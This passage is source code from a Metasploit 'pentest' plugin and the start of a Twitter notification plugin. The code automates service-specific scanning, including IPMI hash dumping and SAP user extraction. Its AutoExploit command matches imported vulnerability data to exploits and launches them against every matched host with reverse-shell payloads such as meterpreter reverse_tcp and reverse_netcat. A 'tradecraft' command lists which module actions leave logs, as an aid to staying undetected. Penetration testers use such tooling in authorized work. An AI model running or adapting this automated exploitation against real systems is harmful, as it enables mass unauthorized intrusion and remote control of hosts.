run_aux_module("scanner/h323/h323_version",opts) 1746 | jobwaiting(maxjobs,verbose, "scanner") 1747 | next 1748 | 1749 | elsif (s.name.to_s =~ /afp/ or s.port == 548) 1750 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port} 1751 | run_aux_module("scanner/afp/afp_server_info",opts) 1752 | jobwaiting(maxjobs,verbose, "scanner") 1753 | next 1754 | 1755 | elsif (s.name.to_s =~ /http/i || s.port == 443) and s.info.to_s =~ /vmware/i 1756 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port} 1757 | run_aux_module("scanner/vmware/esx_fingerprint",opts) 1758 | jobwaiting(maxjobs,verbose, "scanner") 1759 | next 1760 | 1761 | elsif (s.name.to_s =~ /vnc/i || s.port == 5900) 1762 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port} 1763 | run_aux_module("scanner/vnc/vnc_none_auth",opts) 1764 | jobwaiting(maxjobs,verbose, "scanner") 1765 | next 1766 | 1767 | elsif (s.name.to_s =~ /jetdirect/i || s.port == 9100) 1768 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port} 1769 | run_aux_module("scanner/printer/printer_version_info",opts) 1770 | run_aux_module("scanner/printer/printer_ready_message",opts) 1771 | run_aux_module("scanner/printer/printer_list_volumes",opts) 1772 | run_aux_module("scanner/printer/printer_list_dir",opts) 1773 | run_aux_module("scanner/printer/printer_download_file",opts) 1774 | run_aux_module("scanner/printer/printer_env_vars",opts) 1775 | jobwaiting(maxjobs,verbose, "scanner") 1776 | next 1777 | 1778 | elsif (s.port == 623) 1779 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port} 1780 | run_aux_module("scanner/ipmi/ipmi_cipher_zero",opts) 1781 | run_aux_module("scanner/ipmi/ipmi_dumphashes",opts) 1782 | run_aux_module("scanner/ipmi/ipmi_version",opts) 1783 | jobwaiting(maxjobs,verbose, "scanner") 1784 | next 1785 | 1786 | elsif (s.port == 6000) 1787 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port} 1788 | run_aux_module("scanner/x11/open_x11",opts) 1789 | jobwaiting(maxjobs,verbose, "scanner") 1790 | next 1791 | 1792 | elsif (s.port == 1521) and s.info.to_s == "" 1793 | opts = {'RHOSTS' => s.host.address,'RPORT' => s.port} 1794 | run_aux_module("scanner/oracle/tnslsnr_version",opts) 1795 | jobwaiting(maxjobs,verbose, "scanner") 1796 | next 1797 | 1798 | elsif (s.port == 17185) and s.info.to_s == "" 1799 | opts = {'RHOSTS' => s.host.address,'RPORT' => s.port} 1800 | run_aux_module("scanner/vxworks/wdbrpc_bootline",opts) 1801 | run_aux_module("scanner/vxworks/wdbrpc_version",opts) 1802 | jobwaiting(maxjobs,verbose, "scanner") 1803 | next 1804 | 1805 | elsif (s.port == 50013) and s.info.to_s == "" 1806 | opts = {'RHOSTS' => s.host.address,'RPORT' => s.port} 1807 | run_aux_module("scanner/vxworks/wdbrpc_bootline",opts) 1808 | run_aux_module("scanner/vxworks/wdbrpc_version",opts) 1809 | jobwaiting(maxjobs,verbose, "scanner") 1810 | next 1811 | 1812 | elsif (s.port.to_s =~ /50000|50001|50002/) and s.info.to_s == "" 1813 | opts = {'RHOSTS' => s.host.address,'RPORT' => s.port} 1814 | run_aux_module("scanner/db2/db2_version",opts) 1815 | jobwaiting(maxjobs,verbose, "scanner") 1816 | next 1817 | 1818 | elsif (s.port.to_s =~ /50013/) and s.info.to_s == "" 1819 | opts = {'RHOSTS' => s.host.address,'RPORT' => s.port} 1820 | run_aux_module("scanner/sap/sap_mgmt_con_getaccesspoints",opts) 1821 | run_aux_module("scanner/sap/sap_mgmt_con_extractusers",opts) 1822 | run_aux_module("scanner/sap/sap_mgmt_con_abaplog",opts) 1823 | run_aux_module("scanner/sap/sap_mgmt_con_getenv",opts) 1824 | run_aux_module("scanner/sap/sap_mgmt_con_getlogfiles",opts) 1825 | run_aux_module("scanner/sap/sap_mgmt_con_getprocessparameter",opts) 1826 | run_aux_module("scanner/sap/sap_mgmt_con_instanceproperties",opts) 1827 | run_aux_module("scanner/sap/sap_mgmt_con_listlogfiles",opts) 1828 | run_aux_module("scanner/sap/sap_mgmt_con_startprofile",opts) 1829 | run_aux_module("scanner/sap/sap_mgmt_con_version",opts) 1830 | jobwaiting(maxjobs,verbose, "scanner") 1831 | next 1832 | 1833 | elsif (s.port == 8080) and s.info.to_s == "" 1834 | opts = {'RHOSTS' => s.host.address,'RPORT' => s.port} 1835 | run_aux_module("scanner/http/sap_businessobjects_version_enum",opts) 1836 | run_aux_module("scanner/http/open_proxy",opts) 1837 | jobwaiting(maxjobs,verbose, "scanner") 1838 | next 1839 | 1840 | elsif (s.port == 161 and s.proto == "udp") || (s.name.to_s =~/snmp/) 1841 | opts = {'RHOSTS' => s.host.address,'RPORT' => s.port} 1842 | run_aux_module("scanner/snmp/snmp_login",opts) 1843 | jobwaiting(maxjobs,verbose, "scanner") 1844 | 1845 | if s.creds.length > 0 1846 | s.creds.each do |c| 1847 | opts = { 1848 | 'RHOSTS' => s.host.address, 1849 | 'RPORT' => s.port, 1850 | 'VERSION' => "1", 1851 | 'COMMUNITY' => c.pass 1852 | } 1853 | run_aux_module("scanner/snmp/snmp_enum",opts) 1854 | jobwaiting(maxjobs,verbose,"scanner") 1855 | 1856 | opts = { 1857 | 'RHOSTS' => s.host.address, 1858 | 'RPORT' => s.port, 1859 | 'VERSION' => "2c", 1860 | 'COMMUNITY' => c.pass 1861 | } 1862 | run_aux_module("scanner/snmp/snmp_enum",opts) 1863 | jobwaiting(maxjobs,verbose,"scanner") 1864 | 1865 | if s.host.os_name =~ /windows/i 1866 | opts = { 1867 | 'RHOSTS' => s.host.address, 1868 | 'RPORT' => s.port, 1869 | 'VERSION' => "1", 1870 | 'COMMUNITY' => c.pass 1871 | } 1872 | run_aux_module("scanner/snmp/snmp_enumusers",opts) 1873 | jobwaiting(maxjobs,verbose,"scanner") 1874 | 1875 | opts = { 1876 | 'RHOSTS' => s.host.address, 1877 | 'RPORT' => s.port, 1878 | 'VERSION' => "2c", 1879 | 'COMMUNITY' => c.pass 1880 | } 1881 | run_aux_module("scanner/snmp/snmp_enumusers",opts) 1882 | jobwaiting(maxjobs,verbose,"scanner") 1883 | 1884 | opts = { 1885 | 'RHOSTS' => s.host.address, 1886 | 'RPORT' => s.port, 1887 | 'VERSION' => "1", 1888 | 'COMMUNITY' => c.pass 1889 | } 1890 | run_aux_module("scanner/snmp/snmp_enumshares",opts) 1891 | jobwaiting(maxjobs,verbose,"scanner") 1892 | 1893 | opts = { 1894 | 'RHOSTS' => s.host.address, 1895 | 'RPORT' => s.port, 1896 | 'VERSION' => "2c", 1897 | 'COMMUNITY' => c.pass 1898 | } 1899 | run_aux_module("scanner/snmp/snmp_enumshares",opts) 1900 | jobwaiting(maxjobs,verbose,"scanner") 1901 | 1902 | else 1903 | opts = { 1904 | 'RHOSTS' => s.host.address, 1905 | 'RPORT' => s.port, 1906 | 'VERSION' => "1", 1907 | 'COMMUNITY' => c.pass 1908 | } 1909 | run_aux_module("scanner/snmp/xerox_workcentre_enumusers",opts) 1910 | jobwaiting(maxjobs,verbose,"scanner") 1911 | 1912 | opts = { 1913 | 'RHOSTS' => s.host.address, 1914 | 'RPORT' => s.port, 1915 | 'VERSION' => "2c", 1916 | 'COMMUNITY' => c.pass 1917 | } 1918 | run_aux_module("scanner/snmp/xerox_workcentre_enumusers",opts) 1919 | jobwaiting(maxjobs,verbose,"scanner") 1920 | 1921 | opts = { 1922 | 'RHOSTS' => s.host.address, 1923 | 'RPORT' => s.port, 1924 | 'VERSION' => "1", 1925 | 'COMMUNITY' => c.pass 1926 | } 1927 | run_aux_module("scanner/snmp/aix_version",opts) 1928 | jobwaiting(maxjobs,verbose,"scanner") 1929 | 1930 | opts = { 1931 | 'RHOSTS' => s.host.address, 1932 | 'RPORT' => s.port, 1933 | 'VERSION' => "2c", 1934 | 'COMMUNITY' => c.pass 1935 | } 1936 | run_aux_module("scanner/snmp/aix_version",opts) 1937 | jobwaiting(maxjobs,verbose,"scanner") 1938 | next 1939 | 1940 | end 1941 | end 1942 | end 1943 | end 1944 | end 1945 | end 1946 | end 1947 | 1948 | # Exploit handling commands 1949 | ################################################################################################ 1950 | 1951 | class AutoExploit 1952 | include Msf::Ui::Console::CommandDispatcher 1953 | # Set name for command dispatcher 1954 | def name 1955 | "auto_exploit" 1956 | end 1957 | 1958 | 1959 | # Define Commands 1960 | def commands 1961 | { 1962 | "vuln_exploit" => "Runs exploits based on data imported from vuln scanners.", 1963 | "show_client_side" => "Show matched client side exploits from data imported from vuln scanners." 1964 | } 1965 | end 1966 | 1967 | 1968 | # vuln exploit command 1969 | def cmd_vuln_exploit(*args) 1970 | require 'timeout' 1971 | 1972 | # Define options 1973 | opts = Rex::Parser::Arguments.new( 1974 | "-f" => [ true, "Provide a comma separated list of IP's and Ranges to skip when running exploits."], 1975 | "-r" => [ true, "Minimum Rank for exploits (low, average, normal, good, great and excellent) good is the default."], 1976 | "-m" => [ false, "Only show matched exploits."], 1977 | "-s" => [ false, "Do not limit number of sessions to one per target."], 1978 | "-j" => [ true, "Max number of concurrent jobs, 3 is the default."], 1979 | "-h" => [ false, "Command Help"] 1980 | ) 1981 | 1982 | # set variables for options 1983 | os_type = "" 1984 | filter = [] 1985 | range = [] 1986 | limit_sessions = true 1987 | matched_exploits = [] 1988 | min_rank = 100 1989 | show_matched = false 1990 | maxjobs = 3 1991 | ranks ={ 1992 | "low" => 100, 1993 | "average" => 200, 1994 | "normal" => 300 , 1995 | "good" => 400, 1996 | "great" => 500, 1997 | "excellent" => 600 1998 | } 1999 | # Parse options 2000 | opts.parse(args) do |opt, idx, val| 2001 | case opt 2002 | when "-f" 2003 | range = val.gsub(" ","").split(",") 2004 | when "-r" 2005 | if ranks.include?(val) 2006 | min_rank = ranks[val] 2007 | else 2008 | print_error("Value of #{val} not in list using default of good.") 2009 | end 2010 | when "-s" 2011 | limit_sessions = false 2012 | when "-m" 2013 | show_matched = true 2014 | when "-j" 2015 | maxjobs = val.to_i 2016 | 2017 | when "-h" 2018 | print_line(opts.usage) 2019 | return 2020 | 2021 | end 2022 | end 2023 | 2024 | # Make sure that there are vulnerabilities in the table before doing anything else 2025 | if framework.db.workspace.vulns.length == 0 2026 | print_error("No vulnerabilities are present in the database.") 2027 | return 2028 | end 2029 | 2030 | # generate a list of IP's to not exploit 2031 | range.each do |r| 2032 | Rex::Socket::RangeWalker.new(r).each do |i| 2033 | filter << i 2034 | end 2035 | end 2036 | 2037 | exploits =[] 2038 | print_status("Generating List for Matching...") 2039 | framework.exploits.each_module do |n,e| 2040 | exploit = {} 2041 | x=e.new 2042 | if x.datastore.include?('RPORT') 2043 | exploit = { 2044 | :exploit => x.fullname, 2045 | :port => x.datastore['RPORT'], 2046 | :platforms => x.platform.names.join(" "), 2047 | :date => x.disclosure_date, 2048 | :references => x.references, 2049 | :rank => x.rank 2050 | } 2051 | exploits << exploit 2052 | end 2053 | end 2054 | 2055 | print_status("Matching Exploits (This will take a while depending on number of hosts)...") 2056 | framework.db.workspace.hosts.each do |h| 2057 | # Check that host has vulnerabilities associated in the DB 2058 | if h.vulns.length > 0 2059 | os_type = normalise_os(h.os_name) 2060 | #payload = chose_pay(h.os_name) 2061 | exploits.each do |e| 2062 | found = false 2063 | next if not e[:rank] >= min_rank 2064 | if e[:platforms].downcase =~ /#{os_type}/ or e[:platforms].downcase == "" or e[:platforms].downcase =~ /php/i 2065 | # lets get the proper references 2066 | e_refs = parse_references(e[:references]) 2067 | h.vulns.each do |v| 2068 | v.refs.each do |f| 2069 | # Filter out Nessus notes 2070 | next if f.name =~ /^NSS|^CWE/ 2071 | if e_refs.include?(f.name) and not found 2072 | # Skip those hosts that are filtered 2073 | next if filter.include?(h.address) 2074 | # Save exploits in manner easy to retrieve later 2075 | exploit = { 2076 | :exploit => e[:exploit], 2077 | :port => e[:port], 2078 | :target => h.address, 2079 | :rank => e[:rank] 2080 | } 2081 | matched_exploits << exploit 2082 | found = true 2083 | end 2084 | end 2085 | end 2086 | end 2087 | end 2088 | end 2089 | 2090 | end 2091 | 2092 | if matched_exploits.length > 0 2093 | # Sort by rank with highest ranked exploits first 2094 | matched_exploits.sort! { |x, y| y[:rank] <=> x[:rank] } 2095 | 2096 | print_good("Matched Exploits:") 2097 | matched_exploits.each do |e| 2098 | print_good("\t#{e[:target]} #{e[:exploit]} #{e[:port]} #{e[:rank]}") 2099 | end 2100 | 2101 | # Only show matched records if user only wanted if selected. 2102 | return if show_matched 2103 | 2104 | # Track LPORTs used 2105 | known_lports = [] 2106 | 2107 | # Make sure that existing jobs do not affect the limit 2108 | current_jobs = framework.jobs.keys.length 2109 | maxjobs = current_jobs + maxjobs 2110 | 2111 | # Start launching exploits that matched sorted by best ranking first 2112 | print_status("Running Exploits:") 2113 | matched_exploits.each do |e| 2114 | # Select a random port for LPORT 2115 | port_list = (1024..65000).to_a.shuffle.first 2116 | port_list = (1024..65000).to_a.shuffle.first if known_lports.include?(port_list) 2117 | 2118 | # Check if we are limiting one session per target and enforce 2119 | if limit_sessions and get_current_sessions.include?(e[:target]) 2120 | print_good("\tSkipping #{e[:target]} #{e[:exploit]} because a session already exists.") 2121 | next 2122 | end 2123 | 2124 | # Configure and launch the exploit 2125 | begin 2126 | print_status("Creating instance of #{e[:exploit]}") 2127 | ex = framework.modules.create(e[:exploit]) 2128 | if ex.nil? 2129 | print_error("Could not create instance.") 2130 | end 2131 | # Choose a payload depending on the best match for the specific exploit 2132 | ex = chose_pay(ex, e[:target]) 2133 | if ex.datastore.has_key?('TARGETURI') 2134 | ex.datastore['TARGETURI'] = e[:target] 2135 | end 2136 | ex.datastore['RHOST'] = e[:target] 2137 | ex.datastore['RPORT'] = e[:port].to_i 2138 | ex.datastore['LPORT'] = port_list 2139 | ex.datastore['VERBOSE'] = true 2140 | (ex.options.validate(ex.datastore)) 2141 | print_status("Running #{e[:exploit]} against #{e[:target]}") 2142 | 2143 | # Provide 20 seconds for a exploit to timeout 2144 | Timeout::timeout(20) do 2145 | ex.exploit_simple( 2146 | 'Payload' => ex.datastore['PAYLOAD'], 2147 | 'LocalInput' => driver.input, 2148 | 'LocalOutput' => driver.output, 2149 | 'RunAsJob' => true 2150 | ) 2151 | end 2152 | rescue Timeout::Error 2153 | print_error("Exploit #{e[:exploit]} against #{e[:target]} timed out") 2154 | end 2155 | jobwaiting(maxjobs) 2156 | end 2157 | else 2158 | print_error("No Exploits where Matched.") 2159 | return 2160 | end 2161 | end 2162 | 2163 | 2164 | # Show client side exploits 2165 | def cmd_show_client_side(*args) 2166 | 2167 | # Define options 2168 | opts = Rex::Parser::Arguments.new( 2169 | "-r" => [ true, "Minimum Rank for exploits (low, average, normal, good, great and excellent) good is the default."], 2170 | "-h" => [ false, "Command Help"] 2171 | ) 2172 | 2173 | # set variables for options 2174 | os_type = "" 2175 | matched_exploits = [] 2176 | min_rank = 100 2177 | ranks ={ 2178 | "low" => 100, 2179 | "average" => 200, 2180 | "normal" => 300 , 2181 | "good" => 400, 2182 | "great" => 500, 2183 | "excellent" => 600 2184 | } 2185 | # Parse options 2186 | opts.parse(args) do |opt, idx, val| 2187 | case opt 2188 | when "-r" 2189 | if ranks.include?(val) 2190 | min_rank = ranks[val] 2191 | else 2192 | print_error("Value of #{val} not in list using default of good.") 2193 | end 2194 | 2195 | when "-h" 2196 | print_line(opts.usage) 2197 | return 2198 | end 2199 | end 2200 | 2201 | exploits =[] 2202 | 2203 | # Make sure that there are vulnerabilities in the table before doing anything else 2204 | if framework.db.workspace.vulns.length == 0 2205 | print_error("No vulnerabilities are present in the database.") 2206 | return 2207 | end 2208 | 2209 | print_status("Generating List for Matching...") 2210 | framework.exploits.each_module do |n,e| 2211 | exploit = {} 2212 | x=e.new 2213 | if x.datastore.include?('LPORT') 2214 | exploit = { 2215 | :exploit => x.fullname, 2216 | :port => x.datastore['RPORT'], 2217 | :platforms => x.platform.names.join(" "), 2218 | :date => x.disclosure_date, 2219 | :references => x.references, 2220 | :rank => x.rank 2221 | } 2222 | exploits << exploit 2223 | end 2224 | end 2225 | 2226 | print_status("Matching Exploits (This will take a while depending on number of hosts)...") 2227 | framework.db.workspace.hosts.each do |h| 2228 | # Check that host has vulnerabilities associated in the DB 2229 | if h.vulns.length > 0 2230 | os_type = normalise_os(h.os_name) 2231 | #payload = chose_pay(h.os_name) 2232 | exploits.each do |e| 2233 | found = false 2234 | next if not e[:rank] >= min_rank 2235 | if e[:platforms].downcase =~ /#{os_type}/ 2236 | # lets get the proper references 2237 | e_refs = parse_references(e[:references]) 2238 | h.vulns.each do |v| 2239 | v.refs.each do |f| 2240 | # Filter out Nessus notes 2241 | next if f.name =~ /^NSS|^CWE/ 2242 | if e_refs.include?(f.name) and not found 2243 | # Save exploits in manner easy to retrieve later 2244 | exploit = { 2245 | :exploit => e[:exploit], 2246 | :port => e[:port], 2247 | :target => h.address, 2248 | :rank => e[:rank] 2249 | } 2250 | matched_exploits << exploit 2251 | found = true 2252 | end 2253 | end 2254 | end 2255 | end 2256 | end 2257 | end 2258 | end 2259 | 2260 | if matched_exploits.length > 0 2261 | # Sort by rank with highest ranked exploits first 2262 | matched_exploits.sort! { |x, y| y[:rank] <=> x[:rank] } 2263 | print_good("Matched Exploits:") 2264 | matched_exploits.each do |e| 2265 | print_good("\t#{e[:target]} #{e[:exploit]} #{e[:port]} #{e[:rank]}") 2266 | end 2267 | else 2268 | print_status("No Matching Client Side Exploits where found.") 2269 | end 2270 | end 2271 | 2272 | 2273 | # Normalize the OS name since different scanner may have entered different values. 2274 | def normalise_os(os_name) 2275 | case os_name 2276 | when /(Microsoft|Windows)/i 2277 | os = "windows" 2278 | when /(Linux|Ubuntu|CentOS|RedHat)/i 2279 | os = "linux" 2280 | when /aix/i 2281 | os = "aix" 2282 | when /(freebsd)/i 2283 | os = "bsd" 2284 | when /(hpux|hp-ux)/i 2285 | os = "hpux" 2286 | when /solaris/i 2287 | os = "solaris" 2288 | when /(Apple|OSX|OS X)/i 2289 | os = "osx" 2290 | end 2291 | return os 2292 | end 2293 | 2294 | 2295 | # Parse the exploit references and get a list of CVE, BID and OSVDB values that 2296 | # we can match accurately. 2297 | def parse_references(refs) 2298 | references = [] 2299 | refs.each do |r| 2300 | # We do not want references that are URLs 2301 | next if r.ctx_id == "URL" 2302 | # Format the reference as it is saved by Nessus 2303 | references << "#{r.ctx_id}-#{r.ctx_val}" 2304 | end 2305 | return references 2306 | end 2307 | 2308 | 2309 | # Choose the proper payload 2310 | def chose_pay(mod, rhost) 2311 | # taken from the exploit ui mixin 2312 | # A list of preferred payloads in the best-first order 2313 | set_mod = nil 2314 | pref = [ 2315 | 'windows/meterpreter/reverse_tcp', 2316 | 'java/meterpreter/reverse_tcp', 2317 | 'php/meterpreter/reverse_tcp', 2318 | 'php/meterpreter_reverse_tcp', 2319 | 'cmd/unix/interact', 2320 | 'cmd/unix/reverse', 2321 | 'cmd/unix/reverse_perl', 2322 | 'cmd/unix/reverse_netcat', 2323 | 'windows/meterpreter/reverse_nonx_tcp', 2324 | 'windows/meterpreter/reverse_ord_tcp', 2325 | 'windows/shell/reverse_tcp', 2326 | 'generic/shell_reverse_tcp' 2327 | ] 2328 | pset = mod.compatible_payloads.map{|x| x[0] } 2329 | pref.each do |n| 2330 | if(pset.include?(n)) 2331 | print_status("\tPayload choosen is #{n}") 2332 | mod.datastore['PAYLOAD'] = n 2333 | mod.datastore['LHOST'] = Rex::Socket.source_address(rhost) 2334 | return mod 2335 | else 2336 | # grab the first compatible payload. 2337 | print_status("\tCompatible payload not in prefered payload list.") 2338 | print_status("\tPayload choosen is #{pset[0]}") 2339 | mod.datastore['PAYLOAD'] = pset[0] 2340 | mod.datastore['LHOST'] = Rex::Socket.source_address(rhost) 2341 | return mod 2342 | end 2343 | end 2344 | end 2345 | 2346 | 2347 | # Create a payload given a name, lhost and lport, additional options 2348 | def create_payload(name, lhost, lport, opts = "") 2349 | pay = framework.payloads.create(name) 2350 | pay.datastore['LHOST'] = lhost 2351 | pay.datastore['LPORT'] = lport 2352 | if not opts.empty? 2353 | opts.split(",").each do |o| 2354 | opt,val = o.split("=", 2) 2355 | pay.datastore[opt] = val 2356 | end 2357 | end 2358 | # Validate the options for the module 2359 | if pay.options.validate(pay.datastore) 2360 | print_good("Payload option validation passed") 2361 | end 2362 | return pay 2363 | 2364 | end 2365 | 2366 | 2367 | def get_current_sessions() 2368 | session_hosts = framework.sessions.map { |s,r| r.tunnel_peer.split(":")[0] } 2369 | return session_hosts 2370 | end 2371 | 2372 | 2373 | # Method to write string to file 2374 | def file_write(file2wrt, data2wrt) 2375 | if not ::File.exists?(file2wrt) 2376 | ::FileUtils.touch(file2wrt) 2377 | end 2378 | output = ::File.open(file2wrt, "a") 2379 | data2wrt.each_line do |d| 2380 | output.puts(d) 2381 | end 2382 | output.close 2383 | end 2384 | 2385 | 2386 | def get_job_count 2387 | job_count = 1 2388 | framework.jobs.each do |k,j| 2389 | if j.name !~ /handler/ 2390 | job_count = job_count + 1 2391 | end 2392 | end 2393 | return job_count 2394 | end 2395 | 2396 | 2397 | def jobwaiting(maxjobs, verbose=true) 2398 | while(get_job_count >= maxjobs) 2399 | ::IO.select(nil, nil, nil, 2.5) 2400 | if verbose 2401 | print_status("Waiting for some modules to finish") 2402 | end 2403 | end 2404 | end 2405 | end 2406 | 2407 | # Tradecraft commands 2408 | ################################################################################################ 2409 | class TradeCraftCommandDispatcher 2410 | include Msf::Ui::Console::CommandDispatcher 2411 | 2412 | # Set name for command dispatcher 2413 | def name 2414 | "Tradecraft" 2415 | end 2416 | 2417 | # Define Commands 2418 | def commands 2419 | { 2420 | 'check_footprint' => 'Checks the possible footprint of a post module on a target system.', 2421 | } 2422 | end 2423 | 2424 | # Function for doing auto complete on module name 2425 | def tab_complete_module(str, words) 2426 | res = [] 2427 | framework.modules.module_types.each do |mtyp| 2428 | mset = framework.modules.module_names(mtyp) 2429 | mset.each do |mref| 2430 | res << mtyp + '/' + mref 2431 | end 2432 | end 2433 | 2434 | return res.sort 2435 | end 2436 | 2437 | # Function to do tab complete on modules for check_footprint 2438 | def cmd_check_footprint_tabs(str, words) 2439 | tab_complete_module(str, words) 2440 | end 2441 | 2442 | def cmd_check_footprint(*args) 2443 | opts = Rex::Parser::Arguments.new( 2444 | "-m" => [ true, "Module to check."], 2445 | "-h" => [ false, "Command Help."] 2446 | ) 2447 | post_mod = nil 2448 | # Parse options 2449 | opts.parse(args) do |opt, idx, val| 2450 | case opt 2451 | when "-m" 2452 | post_mod = val 2453 | when "-h" 2454 | print_line opts.usage 2455 | return 2456 | else 2457 | print_status "Please specify a module to check with the -m option." 2458 | return 2459 | end 2460 | end 2461 | 2462 | if post_mod.nil? 2463 | if active_module 2464 | path = active_module.file_path 2465 | if active_module.fullname =~ /^post|^exploit/ 2466 | m = active_module 2467 | else 2468 | print_error "This module is not a exploit or post module." 2469 | return 2470 | end 2471 | if active_module.session_types.include?("shell") 2472 | print_line "\n%bld%redWARNING%clr This module supports Shell type sessions. All actions may be logged. %bld%redWARNING%clr\n" 2473 | end 2474 | module_code = ::File.read(path) 2475 | else 2476 | print_error('No module specified.') 2477 | end 2478 | else 2479 | if post_mod =~ /^post/ 2480 | post_module= post_mod.gsub(/^post\//,"") 2481 | m = framework.post.create(post_module) 2482 | elsif post_mod =~ /^exploit/ 2483 | exploit_module= post_mod.gsub(/^exploit\//,"") 2484 | m = framework.exploits.create(exploit_module) 2485 | else 2486 | print_error "This module is not a exploit or post module." 2487 | return 2488 | end 2489 | if m.session_types.include?("shell") 2490 | print_line "\n%bld%redWARNING%clr This module supports Shell type sessions. All actions may be logged. %bld%redWARNING%clr\n" 2491 | end 2492 | module_code = ::File.read(m.file_path) 2493 | end 2494 | 2495 | indicator_found = false 2496 | tbl = Rex::Text::Table.new( 2497 | 'Columns' => [ 2498 | 'Indicator', 2499 | 'Description' 2500 | ]) 2501 | 2502 | footprint_generators = { 2503 | 'cmd_exec' => 'This module will create a process that can be logged.', 2504 | '.sys.process.execute' => 'This module will create a process that can be logged.', 2505 | 'run_cmd' => 'This module will create a process that can be logged.', 2506 | 'check_osql' => 'This module will create a osql.exe process that can be logged.', 2507 | 'check_sqlcmd' => 'This module will create a sqlcmd.exe process that can be logged.', 2508 | 'wmic_query' => 'This module will create a wmic.exe process that can be logged.', 2509 | 'get_whoami' => 'This module will create a whoami.exe process that can be logged.', 2510 | "service_create" => 'This module manipulates a service in a way that can be logged', 2511 | "service_start" => 'This module manipulates a service in a way that can be logged', 2512 | "service_change_config" => 'This module manipulates a service in a way that can be logged', 2513 | "service_change_startup" => 'This module manipulates a service in a way that can be logged', 2514 | "get_vss_device" => 'This module will create a wmic.exe process that can be logged.', 2515 | "vss_list" => 'This module will create a wmic.exe process that can be logged.', 2516 | "vss_get_ids" => 'This module will create a wmic.exe process that can be logged.', 2517 | "vss_get_storage" => 'This module will create a wmic.exe process that can be logged.', 2518 | "get_sc_details" => 'This module will create a wmic.exe process that can be logged.', 2519 | "get_sc_param" => 'This module will create a wmic.exe process that can be logged.', 2520 | "vss_get_storage_param" => 'This module will create a wmic.exe process that can be logged.', 2521 | "vss_set_storage" => 'This module will create a wmic.exe process that can be logged.', 2522 | "create_shadowcopy" => 'This module will create a wmic.exe process that can be logged.', 2523 | "start_vss" => 'This module will create a wmic.exe process that can be logged.', 2524 | "start_swprv" => 'This module manipulates a service in a way that can be logged', 2525 | "execute_shellcode" => 'This module will create a thread that can be detected (Sysmon).', 2526 | "is_in_admin_group" => 'This module will create a whoami.exe process that can be logged.', 2527 | "upload_file" => 'This module uploads a file on to the target, AVs will examine the file and action may be logged if folder is audited.', 2528 | "file_local_write" => 'This module writes to a file or may create one, action may be logged if folder is audited or examined by AV.', 2529 | "write_file" => 'This module writes to a file or may create one, action may be logged if folder is audited or examined by AV.', 2530 | "append_file" => 'This module writes to a file or may create one, action may be logged if folder is audited or examined by AV.', 2531 | "rename_file" => 'This module renames a file or may create one, action may be logged if folder is audited or examined by AV.' 2532 | } 2533 | 2534 | footprint_generators.each { |key, value| 2535 | if module_code.include?(key) 2536 | indicator_found = true 2537 | tbl << ["%bld%red#{key}%clr",value] 2538 | end 2539 | } 2540 | 2541 | if indicator_found 2542 | print_line(tbl.to_s) 2543 | else 2544 | print_good("No indicators found.") 2545 | end 2546 | end 2547 | end 2548 | #------------------------------------------------------------------------------------------------- 2549 | def initialize(framework, opts) 2550 | super 2551 | if framework.db and framework.db.active 2552 | add_console_dispatcher(PostautoCommandDispatcher) 2553 | add_console_dispatcher(ProjectCommandDispatcher) 2554 | add_console_dispatcher(DiscoveryCommandDispatcher) 2555 | add_console_dispatcher(AutoExploit) 2556 | add_console_dispatcher(TradeCraftCommandDispatcher) 2557 | 2558 | archive_path = ::File.join(Msf::Config.log_directory,"archives") 2559 | project_paths = ::File.join(Msf::Config.log_directory,"projects") 2560 | 2561 | # Create project folder if first run 2562 | if not ::File.directory?(project_paths) 2563 | ::FileUtils.mkdir_p(project_paths) 2564 | end 2565 | 2566 | # Create archive folder if first run 2567 | if not ::File.directory?(archive_path) 2568 | ::FileUtils.mkdir_p(archive_path) 2569 | end 2570 | banner = %{ 2571 | ___ _ _ ___ _ _ 2572 | | _ \\___ _ _| |_ ___ __| |_ | _ \\ |_ _ __ _(_)_ _ 2573 | | _/ -_) ' \\ _/ -_|_-< _| | _/ | || / _` | | ' \\ 2574 | |_| \\___|_||_\\__\\___/__/\\__| |_| |_|\\_,_\\__, |_|_||_| 2575 | |___/ 2576 | } 2577 | print_line banner 2578 | print_line "Version 1.6" 2579 | print_line "Pentest plugin loaded." 2580 | print_line "by Carlos Perez (carlos_perez[at]darkoperator.com)" 2581 | else 2582 | print_error("This plugin requires the framework to be connected to a Database!") 2583 | end 2584 | end 2585 | 2586 | def cleanup 2587 | remove_console_dispatcher('Postauto') 2588 | remove_console_dispatcher('Project') 2589 | remove_console_dispatcher('Discovery') 2590 | remove_console_dispatcher('auto_exploit') 2591 | remove_console_dispatcher('Tradecraft') 2592 | end 2593 | 2594 | def name 2595 | "pentest" 2596 | end 2597 | 2598 | def desc 2599 | "Plugin for Post-Exploitation automation." 2600 | end 2601 | protected 2602 | end 2603 | end 2604 | -------------------------------------------------------------------------------- /twitt.rb: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2011, Carlos Perez "Displays help", 118 | 'twitt_start' => "Start Twitter Plugin after saving settings.", 119 | 'twitt_stop' => "Stop monitoring for new sessions.", 120 | 'twitt_test' => "Send test message to make sure confoguration is working.", 121 | 'twitt_save' => "Save Settings to YAML File #{Twitter_yaml}.", 122 | 'twitt_set_consumer_key' => "Sets Twitter Consumer Key.", 123 | 'twitt_set_consumer_secret' => "Sets Consumer Secret.", 124 | 'twitt_set_oauth_token' => "Sets Oauth Token.", 125 | 'twitt_set_oauth_token_secret' => "Sets Oauth Token Secret", 126 | 'twitt_set_user' => "Sets User to whom messages will be sent.", 127 | 'twitt_set_source' => "Sets Source Name from where the messages are sent.", 128 | 'twitt_show_parms' => "Shows currently set parameters." 129 | 130 | } 131 | end 132 | 133 | # Help Command 134 | def cmd_twitt_help 135 | puts "Help" 136 | end 137 | 138 | # Re-Read YAML file and set Twitter Configuration 139 | def cmd_twitt_start 140 | print_status "Starting to monitor sessions to Twitt" 141 | if read_settings() 142 | self.framework.events.add_session_subscriber(self) 143 | @twitt_client = Twitter.configure do |config| 144 | config.consumer_key = @consumer_key 145 | config.consumer_secret = @consumer_secret 146 | config.oauth_token = @oauth_token 147 | config.oauth_token_secret = @oauth_token_secret 148 | end 149 | print_good("Twitter Plugin Started, Monitoring Sessions") 150 | 